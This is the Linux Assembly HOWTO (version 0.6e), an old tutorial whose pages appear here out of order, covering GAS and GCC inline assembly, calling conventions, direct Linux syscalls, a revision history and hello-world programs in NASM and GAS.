The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

How to use this License for your documents

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

Copyright (c) YEAR YOUR NAME.
Permission is granted to copy, distribute and/or modify this document
under the terms of the GNU Free Documentation License, Version 1.1
or any later version published by the Free Software Foundation;
with the Invariant Sections being LIST THEIR TITLES, with the
Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
A copy of the license is included in the section entitled "GNU
Free Documentation License".

If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

Prev | Home
Endorsements |


GAS

Linux Assembly HOWTO
Prev Chapter 3. Assemblers Next

3.2. GAS

GAS is the GNU Assembler, that GCC relies upon.

3.2.1. Where to find it

Find it at the same place where you found GCC, in a package named binutils.

The latest version is available from HJLu at ftp://ftp.varesearch.com/pub/support/hjl/binutils/.

3.2.2. What is this AT&T syntax

Because GAS was invented to support a 32-bit unix compiler, it uses standard AT&T syntax, which resembles a lot the syntax for standard m68k assemblers, and is standard in the UNIX world. This syntax is neither worse, nor better than the Intel syntax. It's just different. When you get used to it, you find it much more regular than the Intel syntax, though a bit boring.

Here are the major caveats about GAS syntax:

  • Register names are prefixed with %, so that registers are %eax, %dl and so on, instead of just eax, dl, etc. This makes it possible to include external C symbols directly in assembly source, without any risk of confusion, or any need for ugly underscore prefixes.

  • The order of operands is source(s) first, and destination last, as opposed to the Intel convention of destination first and sources last. Hence, what in Intel syntax is mov eax,edx (move contents of register edx into register eax) will be in GAS syntax mov %edx,%eax.

  • The operand size is specified as a suffix to the instruction name. The suffix is b for (8-bit) byte, w for (16-bit) word, and l for (32-bit) long. For instance, the correct syntax for the above instruction would have been movl %edx,%eax. However, gas does not require strict AT&T syntax, so the suffix is optional when size can be guessed from register operands, and else defaults to 32-bit (with a warning).

  • Immediate operands are marked with a $ prefix, as in addl $5,%eax (add immediate long value 5 to register %eax).

  • Missing operand prefix indicates it is a memory-address; hence movl $foo,%eax puts the address of variable foo into register %eax, but movl foo,%eax puts the contents of variable foo into register %eax.

  • Indexing or indirection is done by enclosing the index register or indirection memory cell address in parentheses, as in testb $0x80,17(%ebp) (test the high bit of the byte value at offset 17 from the cell pointed to by %ebp).

Note: There are few programs which may help you to convert source code between AT&T and Intel assembler syntaxes; some of the are capable of performing conversion in both directions.

GAS has comprehensive documentation in TeXinfo format, which comes at least with the source distribution. Browse extracted .info pages with Emacs or whatever. There used to be a file named gas.doc or as.doc around the GAS source package, but it was merged into the TeXinfo docs. Of course, in case of doubt, the ultimate documentation is the sources themselves! A section that will particularly interest you is Machine Dependencies::i386-Dependent::

Again, the sources for Linux (the OS kernel) come in as excellent examples; see under linux/arch/i386/ the following files: kernel/*.S, boot/compressed/*.S, mathemu/*.S.

If you are writing kind of a language, a thread package, etc., you might as well see how other languages ( OCaml, Gforth, etc.), or thread packages (QuickThreads, MIT pthreads, LinuxThreads, etc), or whatever else do it.

Finally, just compiling a C program to assembly might show you the syntax for the kind of instructions you want. See section Do you need assembly? above.

3.2.3. Intel syntax

Good news are that starting from binutils 2.10 release, GAS supports Intel syntax too. It can be triggered with .intel_syntax directive. Unfortunately this mode is not documented (yet?) in the official binutils manual, so if you want to use it, try to examine http://home.snafu.de/phpr/lhpas86.html.gz, which is an extract from AMD 64bit port of binutils 2.11.

3.2.4. 16-bit mode

Binutils (2.9.1.0.25+) now fully support 16-bit mode (registers and addressing) on i386 PCs. Use .code16 and .code32 to switch between assembly modes.

Also, a neat trick used by several people (including the oskit authors) is to force GCC to produce code for 16-bit real mode, using an inline assembly statement asm(".code16\n"). GCC will still emit only 32-bit addressing modes, but GAS will insert proper 32-bit prefixes for them.

3.2.5. Macro support

GAS has some macro capability included, as detailed in the texinfo docs. Moreover, while GCC recognizes .s files as raw assembly to send to GAS, it also recognizes .S files as files to pipe through CPP before feeding them to GAS. Again and again, see Linux sources for examples.

GAS also has GASP (GAS Preprocessor), which adds all the usual macroassembly tricks to GAS. GASP comes together with GAS in the GNU binutils archive. It works as a filter, like CPP and M4. I have no idea on details, but it comes with its own texinfo documentation, which you would like to browse (info gasp), print, grok. GAS with GASP looks like a regular macro-assembler to me.

Prev | Home | Next
GCC Inline Assembly | Up | NASM


GCC Inline Assembly

Linux Assembly HOWTO
Prev Chapter 3. Assemblers Next

3.1. GCC Inline Assembly

The well-known GNU C/C++ Compiler (GCC), an optimizing 32-bit compiler at the heart of the GNU project, supports the x86 architecture quite well, and includes the ability to insert assembly code in C programs, in such a way that register allocation can be either specified or left to GCC. GCC works on most available platforms, notably Linux, *BSD, VSTa, OS/2, *DOS, Win*, etc.

3.1.1. Where to find GCC

The original GCC site is the GNU FTP site ftp://prep.ai.mit.edu/pub/gnu/gcc/ together with all released application software from the GNU project. Linux-configured and pre-compiled versions can be found in ftp://metalab.unc.edu/pub/Linux/GCC/ There are a lot of FTP mirrors of both sites everywhere around the world, as well as CD-ROM copies.

GCC development has split into two branches some time ago (GCC 2.8 and EGCS), but they merged back, and current GCC webpage is http://gcc.gnu.org.

Sources adapted to your favorite OS and pre-compiled binaries should be found at your usual FTP sites.

DOS port of GCC is called DJGPP.

There are two Win32 GCC ports: cygwin and mingw

There is also an OS/2 port of GCC called EMX; it works under DOS too, and includes lots of unix-emulation library routines. Look around the following site: ftp://ftp-os2.cdrom.com/pub/os2/emx09c.

3.1.2. Where to find docs for GCC Inline Asm

The documentation of GCC includes documentation files in TeXinfo format. You can compile them with TeX and print then result, or convert them to .info, and browse them with emacs, or convert them to .html, or nearly whatever you like; convert (with the right tools) to whatever you like, or just read as is. The .info files are generally found on any good installation for GCC.

The right section to look for is C Extensions::Extended Asm::

Section Invoking GCC::Submodel Options::i386 Options:: might help too. Particularly, it gives the i386 specific constraint names for registers: abcdSDB correspond to %eax, %ebx, %ecx, %edx, %esi, %edi and %ebp respectively (no letter for %esp).

The DJGPP Games resource (not only for game hackers) had page specifically about assembly, but it's down. Its data have nonetheless been recovered on the DJGPP site, that contains a mine of other useful information: http://www.delorie.com/djgpp/doc/brennan/, and in the DJGPP Quick ASM Programming Guide.

GCC depends on GAS for assembling and follows its syntax (see below); do mind that inline asm needs percent characters to be quoted, they will be passed to GAS. See the section about GAS below.

Find lots of useful examples in the linux/include/asm-i386/ subdirectory of the sources for the Linux kernel.

3.1.3. Invoking GCC to build proper inline assembly code

Because assembly routines from the kernel headers (and most likely your own headers, if you try making your assembly programming as clean as it is in the linux kernel) are embedded in extern inline functions, GCC must be invoked with the -O flag (or -O2, -O3, etc), for these routines to be available. If not, your code may compile, but not link properly, since it will be looking for non-inlined extern functions in the libraries against which your program is being linked! Another way is to link against libraries that include fallback versions of the routines.

Inline assembly can be disabled with -fno-asm, which will have the compiler die when using extended inline asm syntax, or else generate calls to an external function named asm() that the linker can't resolve. To counter such flag, -fasm restores treatment of the asm keyword.

More generally, good compile flags for GCC on the x86 platform are

gcc -O2 -fomit-frame-pointer -W -Wall

-O2 is the good optimization level in most cases. Optimizing besides it takes more time, and yields code that is much larger, but only a bit faster; such over-optimization might be useful for tight loops only (if any), which you may be doing in assembly anyway. In cases when you need really strong compiler optimization for a few files, do consider using up to -O6.

-fomit-frame-pointer allows generated code to skip the stupid frame pointer maintenance, which makes code smaller and faster, and frees a register for further optimizations. It precludes the easy use of debugging tools (gdb), but when you use these, you just don't care about size and speed anymore anyway.

-W -Wall enables all useful warnings and helps you to catch obvious stupid errors.

You can add some CPU-specific -m486 or such flag so that GCC will produce code that is more adapted to your precise CPU. Note that modern GCC has -mpentium and such flags (and PGCC has even more), whereas GCC 2.7.x and older versions do not. A good choice of CPU-specific flags should be in the Linux kernel. Check the TeXinfo documentation of your current GCC installation for more.

-m386 will help optimize for size, hence also for speed on computers whose memory is tight and/or loaded, since big programs cause swap, which more than counters any "optimization" intended by the larger code. In such settings, it might be useful to stop using C, and use instead a language that favors code factorization, such as a functional language and/or FORTH, and use a bytecode- or wordcode- based implementation.

Note that you can vary code generation flags from file to file, so performance-critical files will use maximum optimization, whereas other files will be optimized for size.

To optimize even more, option -mregparm=2 and/or corresponding function attribute might help, but might pose lots of problems when linking to foreign code, including libc. There are ways to correctly declare foreign functions so the right call sequences be generated, or you might want to recompile the foreign libraries to use the same register-based calling convention...

Note that you can add make these flags the default by editing file /usr/lib/gcc-lib/i486-linux/2.7.2.3/specs or wherever that is on your system (better not add -W -Wall there, though). The exact location of the GCC specs files on system can be found by gcc -v.

3.1.4. Macro support

GCC allows (and requires) you to specify register constraints in your inline assembly code, so the optimizer always know about it; thus, inline assembly code is really made of patterns, not forcibly exact code.

Thus, you can make put your assembly into CPP macros, and inline C functions, so anyone can use it in as any C function/macro. Inline functions resemble macros very much, but are sometimes cleaner to use. Beware that in all those cases, code will be duplicated, so only local labels (of 1: style) should be defined in that asm code. However, a macro would allow the name for a non local defined label to be passed as a parameter (or else, you should use additional meta-programming methods). Also, note that propagating inline asm code will spread potential bugs in them; so watch out doubly for register constraints in such inline asm code.

Lastly, the C language itself may be considered as a good abstraction to assembly programming, which relieves you from most of the trouble of assembling.

Prev | Home | Next
Assemblers | Up | GAS


Hello, world!

Linux Assembly HOWTO
Prev Chapter 6. Quick start Next

6.2. Hello, world!

6.2.1. Program layout

Linux is 32-bit, runs in protected mode, has flat memory model, and uses the ELF format for binaries.

A program can be divided into sections: .text for your code (read-only), .data for your data (read-write), .bss for uninitialized data (read-write); there can actually be a few other standard sections, as well as some user-defined sections, but there's rare need to use them and they are out of our interest here. A program must have at least .text section.

Now we will write our first program. Here is sample code:

6.2.2. NASM (hello.asm)

section .data				;section declaration

msg     db      "Hello, world!",0xa	;our dear string
len     equ     $ - msg                 ;length of our dear string

section .text				;section declaration

            ;we must export the entry point to the ELF linker or
    global _start	;loader. They conventionally recognize _start as their
            ;entry point. Use ld -e foo to override the default.

_start:

;write our string to stdout

        mov     edx,len ;third argument: message length
        mov     ecx,msg ;second argument: pointer to message to write
        mov     ebx,1   ;first argument: file handle (stdout)
        mov     eax,4   ;system call number (sys_write)
        int     0x80	;call kernel

;and exit

    mov	ebx,0	;first syscall argument: exit code
        mov     eax,1   ;system call number (sys_exit)
        int     0x80	;call kernel

6.2.3. GAS (hello.S)

.data					# section declaration

msg:
    .string	"Hello, world!\n"	# our dear string
    len = . - msg			# length of our dear string

.text					# section declaration

            # we must export the entry point to the ELF linker or
    .global _start	# loader. They conventionally recognize _start as their
            # entry point. Use ld -e foo to override the default.

_start:

# write our string to stdout

    movl	$len,%edx	# third argument: message length
    movl	$msg,%ecx	# second argument: pointer to message to write
    movl	$1,%ebx		# first argument: file handle (stdout)
    movl	$4,%eax		# system call number (sys_write)
    int	$0x80		# call kernel

# and exit

    movl	$0,%ebx		# first argument: exit code
    movl	$1,%eax		# system call number (sys_exit)
    int	$0x80		# call kernel

Prev | Home | Next
Introduction | Up | Building an executable


History

Linux Assembly HOWTO
Prev Next

Appendix A. History

Each version includes a few fixes and minor corrections, that need not to be repeatedly mentioned every time.

Revision History
Revision 0.6e | 12 Jan 2002 | Revised by: konst
Added URL describing GAS Intel syntax; Added OSIMPA(former SHASM); Added YASM; FAQ update.
Revision 0.6d | 18 Mar 2001 | Revised by: konst
Added Free Pascal; new NASM URL again
Revision 0.6c | 15 Feb 2001 | Revised by: konst
Added SHASM; new answer in FAQ, new NASM URL, new mailing list address
Revision 0.6b | 21 Jan 2001 | Revised by: konst
new questions in FAQ, corrected few URLs
Revision 0.6a | 10 Dec 2000 | Revised by: konst
Remade section on AS86 (thanks to Holluby Istvan for pointing out obsolete information). Fixed several URLs that can be incorrectly rendered from sgml to html.
Revision 0.6 | 11 Nov 2000 | Revised by: konst
HOWTO is completely rewritten using DocBook DTD. Layout is totally rearranged; too much changes to list them here.
Revision 0.5n | 07 Nov 2000 | Revised by: konst
Added question regarding kernel modules to FAQ, fixed NASM URLs, GAS has Intel syntax too
Revision 0.5m | 22 Oct 2000 | Revised by: konst
Linux 2.4 system calls can have 6 args, Added ALD note to FAQ, fixed mailing list subscribe address
Revision 0.5l | 23 Aug 2000 | Revised by: konst
Added TDASM, updates on NASM
Revision 0.5k | 11 Jul 2000 | Revised by: konst
Few additions to FAQ
Revision 0.5j | 14 Jun 2000 | Revised by: konst
Complete rearrangement of Introduction and Resources sections. FAQ added to Resources, misc cleanups and additions.
Revision 0.5i | 04 May 2000 | Revised by: konst
Added HLA, TALC; rearrangements in Resources, Quick Start Assemblers sections. Few new pointers.
Revision 0.5h | 09 Apr 2000 | Revised by: konst
finally managed to state LDP license on document, new resources added, misc fixes
Revision 0.5g | 26 Mar 2000 | Revised by: konst
new resources on different CPUs
Revision 0.5f | 02 Mar 2000 | Revised by: konst
new resources, misc corrections
Revision 0.5e | 10 Feb 2000 | Revised by: konst
URL updates, changes in GAS example
Revision 0.5d | 01 Feb 2000 | Revised by: konst
Resources (former "Pointers") section completely redone, various URL updates.
Revision 0.5c | 05 Dec 1999 | Revised by: konst
New pointers, updates and some rearrangements. Rewrite of sgml source.
Revision 0.5b | 19 Sep 1999 | Revised by: konst
Discussion about libc or not libc continues. New web pointers and and overall updates.
Revision 0.5a | 01 Aug 1999 | Revised by: konst
Quick Start section rearranged, added GAS example. Several new web pointers.
Revision 0.5 | 01 Aug 1999 | Revised by: konstfare
GAS has 16-bit mode. New maintainer (at last): Konstantin Boldyshev. Discussion about libc or not libc. Added Quick Start section with examples of assembly code.
Revision 0.4q | 22 Jun 1999 | Revised by: fare
process argument passing (argc, argv, environ) in assembly. This is yet another "last release by Fare before new maintainer takes over". Nobody knows who might be the new maintainer.
Revision 0.4p | 06 Jun 1999 | Revised by: fare
clean up and updates
Revision 0.4o | 01 Dec 1998 | Revised by: fare
Revision 0.4m | 23 Mar 1998 | Revised by: fare
corrections about gcc invocation
Revision 0.4l | 16 Nov 1997 | Revised by: fare
release for LSL 6th edition
Revision 0.4k | 19 Oct 1997 | Revised by: fare
Revision 0.4j | 07 Sep 1997 | Revised by: fare
Revision 0.4i | 17 Jul 1997 | Revised by: fare
info on 16-bit mode access from Linux
Revision 0.4h | 19 Jun 1997 | Revised by: fare
still more on "how not to use assembly"; updates on NASM, GAS.
Revision 0.4g | 30 Mar 1997 | Revised by: fare
Revision 0.4f | 20 Mar 1997 | Revised by: fare
Revision 0.4e | 13 Mar 1997 | Revised by: fare
Release for DrLinux
Revision 0.4d | 28 Feb 1997 | Revised by: fare
Vapor announce of a new Assembly-HOWTO maintainer
Revision 0.4c | 09 Feb 1997 | Revised by: fare
Added section Do you need assembly?.
Revision 0.4b | 03 Feb 1997 | Revised by: fare
NASM moved: now is before AS86
Revision 0.4a | 20 Jan 1997 | Revised by: fare
CREDITS section added
Revision 0.4 | 20 Jan 1997 | Revised by: fare
first release of the HOWTO as such
Revision 0.4pre1 | 13 Jan 1997 | Revised by: fare
text mini-HOWTO transformed into a full linuxdoc-sgml HOWTO, to see what the SGML tools are like
Revision 0.3l | 11 Jan 1997 | Revised by: fare
Revision 0.3k | 19 Dec 1996 | Revised by: fare
What? I had forgotten to point to terse???
Revision 0.3j | 24 Nov 1996 | Revised by: fare
point to French translated version
Revision 0.3i | 16 Nov 1996 | Revised by: fare
NASM is getting pretty slick
Revision 0.3h | 06 Nov 1996 | Revised by: fare
more about cross-compiling -- See on sunsite: devel/msdos/
Revision 0.3g | 02 Nov 1996 | Revised by: fare
Created the History. Added pointers in cross-compiling section. Added section about I/O programming under Linux (particularly video).
Revision 0.3f | 17 Oct 1996 | Revised by: fare
Revision 0.3c | 15 Jun 1996 | Revised by: fare
Revision 0.2 | 04 May 1996 | Revised by: fare
Revision 0.1 | 23 Apr 1996 | Revised by: fare
Francois-Rene "Fare" Rideau creates and publishes the first mini-HOWTO, because "I'm sick of answering ever the same questions on comp.lang.asm.x86"

Prev | Home | Next
Frequently Asked Questions |  | Acknowledgements


How to NOT use Assembly

Linux Assembly HOWTO
Prev Chapter 2. Do you need assembly? Next

2.2. How to NOT use Assembly

2.2.1. General procedure to achieve efficient code

As says Charles Fiterman on comp.compilers about human vs computer-generated assembly code:

The human should always win and here is why.

First the human writes the whole thing in a high level language.
Second he profiles it to find the hot spots where it spends its time.
Third he has the compiler produce assembly for those small sections of code.
Fourth he hand tunes them looking for tiny improvements over the machine generated code.

The human wins because he can use the machine.

2.2.2. Languages with optimizing compilers

Languages like ObjectiveCAML, SML, CommonLISP, Scheme, ADA, Pascal, C, C++, among others, all have free optimizing compilers that will optimize the bulk of your programs, and often do better than hand-coded assembly even for tight loops, while allowing you to focus on higher-level details, and without forbidding you to grab a few percent of extra performance in the above-mentioned way, once you've reached a stable design. Of course, there are also commercial optimizing compilers for most of these languages, too!

Some languages have compilers that produce C code, which can be further optimized by a C compiler: LISP, Scheme, Perl, and many other. Speed is fairly good.

2.2.3. General procedure to speed your code up

As for speeding code up, you should do it only for parts of a program that a profiling tool has consistently identified as being a performance bottleneck.

Hence, if you identify some code portion as being too slow, you should

  • first try to use a better algorithm;

  • then try to compile it rather than interpret it;

  • then try to enable and tweak optimization from your compiler;

  • then give the compiler hints about how to optimize (typing information in LISP; register usage with GCC; lots of options in most compilers, etc).

  • then possibly fallback to assembly programming

Finally, before you end up writing assembly, you should inspect generated code, to check that the problem really is with bad code generation, as this might really not be the case: compiler-generated code might be better than what you'd have written, particularly on modern multi-pipelined architectures! Slow parts of a program might be intrinsically so. The biggest problems on modern architectures with fast processors are due to delays from memory access, cache-misses, TLB-misses, and page-faults; register optimization becomes useless, and you'll more profitably re-think data structures and threading to achieve better locality in memory access. Perhaps a completely different approach to the problem might help, then.

2.2.4. Inspecting compiler-generated code

There are many reasons to inspect compiler-generated assembly code. Here is what you'll do with such code:

  • check whether generated code can be obviously enhanced with hand-coded assembly (or by tweaking compiler switches)

  • when that's the case, start from generated code and modify it instead of starting from scratch

  • more generally, use generated code as stubs to modify, which at least gets right the way your assembly routines interface to the external world

  • track down bugs in your compiler (hopefully the rarer)

The standard way to have assembly code be generated is to invoke your compiler with the -S flag. This works with most Unix compilers, including the GNU C Compiler (GCC), but YMMV. As for GCC, it will produce more understandable assembly code with the -fverbose-asm command-line option. Of course, if you want to get good assembly code, don't forget your usual optimization options and hints!

Prev | Home | Next
Pros and Cons | Up | Linux and assembly


Linux Assembly HOWTO

Konstantin Boldyshev

Linux Assembly

konst@linuxassembly.org

Francois-Rene Rideau

Tunes project

fare@tunes.org

Copyright © 1999-2002 by Konstantin Boldyshev

Copyright © 1996-1999 by Francois-Rene Rideau

$Date: 2002/01/12 10:11:15 $

This is the Linux Assembly HOWTO, version 0.6e. This document describes how to program in assembly language using free programming tools, focusing on development for or from the Linux Operating System, mostly on IA-32 (i386) platform. Included material may or may not be applicable to other hardware and/or software platforms.

Table of Contents
1. Introduction
1.1. Legal Blurb
1.2. Foreword
1.3. Contributions
2. Do you need assembly?
2.1. Pros and Cons
2.2. How to NOT use Assembly
2.3. Linux and assembly
3. Assemblers
3.1. GCC Inline Assembly
3.2. GAS
3.3. NASM
3.4. AS86
3.5. Other Assemblers
4. Metaprogramming
4.1. External filters
4.2. Metaprogramming
5. Calling conventions
5.1. Linux
5.2. DOS and Windows
5.3. Your own OS
6. Quick start
6.1. Introduction
6.2. Hello, world!
6.3. Building an executable
7. Resources
7.1. Pointers
7.2. Mailing list
8. Frequently Asked Questions
A. History
B. Acknowledgements
C. Endorsements
D. GNU Free Documentation License
Next
Introduction


Introduction

Linux Assembly HOWTO
Prev Next

Chapter 1. Introduction

Table of Contents
1.1. Legal Blurb
1.2. Foreword
1.3. Contributions

Note

You can skip this chapter if you are familiar with HOWTOs, or just hate to read all this assembly-unrelated crap.

1.1. Legal Blurb

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License Version 1.1; with no Invariant Sections, with no Front-Cover Texts, and no Back-Cover texts. A copy of the license is included in the GNU Free Documentation License appendix.

The most recent official version of this document is available from the Linux Assembly and LDP sites. If you are reading a few-months-old copy, consider checking the above URLs for a new version.

1.2. Foreword

This document aims answering questions of those who program or want to program 32-bit x86 assembly using free software, particularly under the Linux operating system. At many places Universal Resource Locators (URL) are given for some software or documentation repository. This document also points to other documents about non-free, non-x86, or non-32-bit assemblers, although this is not its primary goal. Also note that there are FAQs and docs about programming on your favorite platform (whatever it is), which you should consult for platform-specific issues, not related directly to assembly programming.

Because the main interest of assembly programming is to build the guts of operating systems, interpreters, compilers, and games, where C compiler fails to provide the needed expressiveness (performance is more and more seldom as issue), we are focusing on development of such kind of software.

If you don't know what free software is, please do read carefully the GNU General Public License (GPL or copyleft), which is used in a lot of free software, and is the model for most of their licenses. It generally comes in a file named COPYING (or COPYING.LIB). Literature from the Free Software Foundation (FSF) might help you too. Particularly, the interesting feature of free software is that it comes with source code which you can consult and correct, or sometimes even borrow from. Read your particular license carefully and do comply to it.

1.3. Contributions

This is an interactively evolving document: you are especially invited to ask questions, to answer questions, to correct given answers, to give pointers to new software, to point the current maintainer to bugs or deficiencies in the pages. In one word, contribute!

To contribute, please contact the maintainer.

Note

At the time of writing, it is Konstantin Boldyshev and no more Francois-Rene Rideau (since version 0.5). I (Fare) had been looking for some time for a serious hacker to replace me as maintainer of this document, and am pleased to announce Konstantin as my worthy successor.

Prev | Home | Next
Linux Assembly HOWTO |  | Do you need assembly?


Linux and assembly

Linux Assembly HOWTO
Prev Chapter 2. Do you need assembly? Next

2.3. Linux and assembly

As you probably noticed, in general case you don't need to use assembly language in Linux programming. Unlike DOS, you do not have to write Linux drivers in assembly (well, actually you can do it if you really want). And with modern optimizing compilers, if you care of speed optimization for different CPU's, it's much simpler to write in C. However, if you're reading this, you might have some reason to use assembly instead of C/C++.

You may need to use assembly, or you may want to use assembly. In short, main practical (need) reasons of diving into the assembly realm are small code and libc independence. Impractical (want), and the most often reason is being just an old crazy hacker, who has twenty years old habit of doing everything in assembly language.

However, if you're porting Linux to some embedded hardware you can be quite short at the size of whole system: you need to fit kernel, libc and all that stuff of (file|find|text|sh|etc.) utils into several hundreds of kilobytes, and every kilobyte costs much. So, one of the possible ways is to rewrite some (or all) parts of system in assembly, and this will really save you a lot of space. For instance, a simple httpd written in assembly can take less than 600 bytes; you can fit a webserver, consisting of kernel and httpd, in 400 KB or less... Think about it.

Prev | Home | Next
How to NOT use Assembly | Up | Assemblers


Linux

Linux Assembly HOWTO
Prev Chapter 5. Calling conventions Next

5.1. Linux

5.1.1. Linking to GCC

This is the preferred way if you are developing mixed C-asm project. Check GCC docs and examples from Linux kernel .S files that go through gas (not those that go through as86).

32-bit arguments are pushed down stack in reverse syntactic order (hence accessed/popped in the right order), above the 32-bit near return address. %ebp, %esi, %edi, %ebx are callee-saved, other registers are caller-saved; %eax is to hold the result, or %edx:%eax for 64-bit results.

FP stack: I'm not sure, but I think result is in st(0), whole stack caller-saved.

Note that GCC has options to modify the calling conventions by reserving registers, having arguments in registers, not assuming the FPU, etc. Check the i386 .info pages.

Beware that you must then declare the cdecl or regparm(0) attribute for a function that will follow standard GCC calling conventions. See C Extensions::Extended Asm:: section from the GCC info pages. See also how Linux defines its asmlinkage macro...

5.1.2. ELF vs a.out problems

Some C compilers prepend an underscore before every symbol, while others do not.

Particularly, Linux a.out GCC does such prepending, while Linux ELF GCC does not.

If you need to cope with both behaviors at once, see how existing packages do. For instance, get an old Linux source tree, the Elk, qthreads, or OCaml...

You can also override the implicit C->asm renaming by inserting statements like
    void foo asm("bar") (void);
to be sure that the C function foo() will be called really bar in assembly.

Note that the objcopy utility from the binutils package should allow you to transform your a.out objects into ELF objects, and perhaps the contrary too, in some cases. More generally, it will do lots of file format conversions.

5.1.3. Direct Linux syscalls

Often you will be told that using C library (libc) is the only way, and direct system calls are bad. This is true. To some extent. In general, you must know that libc is not sacred, and in most cases it only does some checks, then calls kernel, and then sets errno. You can easily do this in your program as well (if you need to), and your program will be dozen times smaller, and this will result in improved performance as well, just because you're not using shared libraries (static binaries are faster). Using or not using libc in assembly programming is more a question of taste/belief than something practical. Remember, Linux is aiming to be POSIX compliant, so does libc. This means that syntax of almost all libc "system calls" exactly matches syntax of real kernel system calls (and vice versa). Besides, GNU libc(glibc) becomes slower and slower from version to version, and eats more and more memory; and so, cases of using direct system calls become quite usual. But.. main drawback of throwing libc away is that possibly you will need to implement several libc specific functions (that are not just syscall wrappers) on your own (printf() and Co.).. and you are ready for that, aren't you? :)

Here is summary of direct system calls pros and cons.

Pros:

  • the smallest possible size; squeezing the last byte out of the system

  • the highest possible speed; squeezing cycles out of your favorite benchmark

  • full control: you can adapt your program/library to your specific language or memory requirements or whatever

  • no pollution by libc cruft

  • no pollution by C calling conventions (if you're developing your own language or environment)

  • static binaries make you independent from libc upgrades or crashes, or from dangling #! path to an interpreter (and are faster)

  • just for the fun out of it (don't you get a kick out of assembly programming?)

Cons:

  • If any other program on your computer uses the libc, then duplicating the libc code will actually wastes memory, not saves it.

  • Services redundantly implemented in many static binaries are a waste of memory. But you can make your libc replacement a shared library.

  • Size is much better saved by having some kind of bytecode, wordcode, or structure interpreter than by writing everything in assembly. (the interpreter itself could be written either in C or assembly.) The best way to keep multiple binaries small is to not have multiple binaries, but instead to have an interpreter process files with #! prefix. This is how OCaml works when used in wordcode mode (as opposed to optimized native code mode), and it is compatible with using the libc. This is also how Tom Christiansen's Perl PowerTools reimplementation of unix utilities works. Finally, one last way to keep things small, that doesn't depend on an external file with a hardcoded path, be it library or interpreter, is to have only one binary, and have multiply-named hard or soft links to it: the same binary will provide everything you need in an optimal space, with no redundancy of subroutines or useless binary headers; it will dispatch its specific behavior according to its argv[0]; in case it isn't called with a recognized name, it might default to a shell, and be possibly thus also usable as an interpreter!

  • You cannot benefit from the many functionalities that libc provides besides mere linux syscalls: that is, functionality described in section 3 of the manual pages, as opposed to section 2, such as malloc, threads, locale, password, high-level network management, etc.

  • Therefore, you might have to reimplement large parts of libc, from printf() to malloc() and gethostbyname. It's redundant with the libc effort, and can be quite boring sometimes. Note that some people have already reimplemented "light" replacements for parts of the libc -- check them out! (Redhat's minilibc, Rick Hohensee's libsys, Felix von Leitner's dietlibc, Christian Fowelin's libASM, asmutils project is working on pure assembly libc)

  • Static libraries prevent you to benefit from libc upgrades as well as from libc add-ons such as the zlibc package, that does on-the-fly transparent decompression of gzip-compressed files.

  • The few instructions added by the libc can be a ridiculously small speed overhead as compared to the cost of a system call. If speed is a concern, your main problem is in your usage of system calls, not in their wrapper's implementation.

  • Using the standard assembly API for system calls is much slower than using the libc API when running in micro-kernel versions of Linux such as L4Linux, that have their own faster calling convention, and pay high convention-translation overhead when using the standard one (L4Linux comes with libc recompiled with their syscall API; of course, you could recompile your code with their API, too).

  • See previous discussion for general speed optimization issue.

  • If syscalls are too slow to you, you might want to hack the kernel sources (in C) instead of staying in userland.

If you've pondered the above pros and cons, and still want to use direct syscalls, then here is some advice.

  • You can easily define your system calling functions in a portable way in C (as opposed to unportable using assembly), by including asm/unistd.h, and using provided macros.

  • Since you're trying to replace it, go get the sources for the libc, and grok them. (And if you think you can do better, then send feedback to the authors!)

  • As an example of pure assembly code that does everything you want, examine Linux assembly resources.

